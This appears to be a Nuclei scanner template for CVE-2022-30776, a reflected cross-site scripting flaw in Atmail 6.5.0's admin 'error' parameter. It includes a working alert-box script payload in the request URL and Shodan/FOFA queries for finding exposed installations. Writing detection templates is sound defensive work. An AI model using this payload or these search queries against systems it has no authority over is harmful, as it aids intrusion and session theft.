Atmail 6.5.0 - Cross-Site Scripting

id: CVE-2022-30776

info:
  name: Atmail 6.5.0 - Cross-Site Scripting
  author: 3th1c_yuk1
  severity: medium
  description: |
    Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9
    - https://www.atmail.com/
    - https://help.atmail.com/hc/en-us/sections/115003283988
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30776
    - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30776
    cwe-id: CWE-79
    epss-score: 0.0395
    epss-percentile: 0.89153
    cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atmail
    product: atmail
    shodan-query:
      - http.html:"atmail"
      - http.html:"powered by atmail"
    fofa-query:
      - body="powered by atmail"
      - body="atmail"
  tags: cve2022,cve,atmail,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Error: 1<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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